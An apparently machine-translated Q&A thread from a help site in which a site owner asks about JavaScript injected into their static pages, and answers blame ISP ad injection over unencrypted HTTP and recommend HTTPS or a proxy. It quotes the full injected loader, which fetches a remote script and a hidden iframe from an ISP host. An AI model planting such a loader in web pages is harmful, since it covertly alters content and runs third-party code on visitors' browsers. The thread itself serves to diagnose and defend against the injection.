Este código JavaScript é injetado e como evitar que ele apareça depois de carregado?

1

Eu tenho um site estático. Eu atualizo as páginas da web localmente no meu computador, em seguida, carrego-as usando o FileZilla. No entanto, uma vez carregado, eu reviso o código-fonte de qualquer uma das minhas páginas e vejo um script que é injetado dentro do <head> . O script não altera o layout nem o conteúdo visível da página, por isso não sei o que faz:

<script>
    if (top == window) {
        var engageNameSpace = "engagens";
        "undefined" == typeof window[engageNameSpace] && (window[engageNameSpace] = {}), window[engageNameSpace].engageLoader = function() {
            function e(e) {
                return "undefined" != typeof e && null !== e
            }

            function t() {
                var t = document.createElement("script");
                t.setAttribute("src", s), t.setAttribute("id", "fn_engage_script"), t.setAttribute("async", ""), (null == document.head || e(document.head)) && (document.head = document.getElementsByTagName("head")[0]), document.head.appendChild(t)
            }

            function n() {
                var t = r();
                if (e(t)) {
                    var n = t;
                    i() && (n = d(t));
                    var o;
                    try {
                        o = document.documentElement, o.appendChild(n)
                    } catch (c) {
                        o = document.body, o.appendChild(n)
                    }
                    a()
                }
            }

            function a() {
                function e(e) {
                    var n = e.data;
                    "l8IframeIsReady" === n.message && t()
                }
                window.addEventListener ? window.addEventListener("message", e, !1) : window.attachEvent("onmessage", e)
            }

            function r() {
                var t = document.createElement("iframe");
                if (e(t)) {
                    t.setAttribute("id", "fn_engage"), t.setAttribute("src", u), t.setAttribute("target", "_blank"), t.setAttribute("frameborder", "0");
                    var n = /firefox/i.exec(navigator.userAgent);
                    e(n) && n.length > 0 ? (t.style.height = 0, t.style.width = 0) : t.style.display = "none", t.frameBorder = "no"
                }
                return t
            }

            function i() {
                var t = !1,
                    n = /android (\d+)/i.exec(navigator.userAgent);
                return e(n) && n.length > 0 && (t = parseInt(n[1]) >= 4), t
            }

            function d(e) {
                var t = document.createElement("div");
                return t.setAttribute("id", "fn_wrapper_div"), t.style.position = "fixed", t.style.display = "none", t.ontouchstart = function() {
                    return !0
                }, t.appendChild(e), t
            }

            function o() {
                var t = void 0,
                    a = this,
                    r = function() {
                        e(t) && (window.clearTimeout(t), t = void 0, n.call(a))
                    };
                t = window.setTimeout(r, 1e4), "function" == typeof window.addEventListener ? window.addEventListener("load", r, !1) : window.attachEvent("onload", r)
            }
            var c = "http://globe.moreforme.net",
                u = c + "/l8/EngageService?v=1",
                s = c + "/scripts/Engage.js";
            o()
        };
        var engageLoader = new window[engageNameSpace].engageLoader
    }
</script>

Ao verificar o URL no script http://globe.moreforme.net , percebo que o script é mais provável do nosso ISP (Globe). Como sou novato em segurança na internet, não sei como o roteiro chegou lá em primeiro lugar. Meu site é HTML estático. Como posso evitar que esse script apareça no código-fonte depois que a página é carregada?

EDITAR :

Encontrei este link que parece ser o código do modelo para criar o script. Alguém sabe o que o roteiro faz?

    
por JAT86 09.06.2018 / 16:32

2 respostas

3

Primeiro, isso só funciona porque você está no HTTP em vez de HTTPS

Seu ISP está injetando esse script e, em seguida, usando-o para carregar dinamicamente outro script (em um iframe?).

Por alguma razão eu não consigo navegar para o globe.moreforme.net, que hospeda os scripts ... ele está me redirecionando para o globe.moreforme.ph, então o globe.moreforme.net só está disponível para pessoas que usam o ISP.

Agora, se eu tivesse que adivinhar ... eu diria que o ISP está usando este script dinamicamente carregado para sequestrar anúncios nas páginas que você visita, de modo a reivindicar a revista por si mesmos.

Você deve ser capaz de evitar isso usando apenas sites HTTPS ou usando um SOCKS5 Proxy seguro (que é estúpido simples de configurar em um VPS por um preço muito baixo) olhando para Dynamic Port Forwarding em SSH. Alternativamente, você poderia olhar para ShadowSocks se você estiver em um país que tem um firewall em todo o país (china).

    
por 09.06.2018 / 18:16
0

Este é o resultado da parceria da Globe Telecom com o mal da Flash Networks para modificar as páginas que seus clientes estão carregando, adicionando seus anúncios e, provavelmente, hackeando os anúncios de outras pessoas.

Legalidade disso é questionável - eles devem estar quebrando pelo menos as leis de direitos autorais. Mas, dada a jurisdição filipina, não acho que haja nada que você possa fazer legalmente.

Esta é também a razão pela qual todos os sites devem usar HTTPS e HTTP desativado (outro, redirecionar para HTTPS). Hoje existem várias maneiras de obter gratuitamente o certificado SSL para seu nome DNS, além de melhorar sua pontuação do Google.

    
por 02.10.2018 / 18:54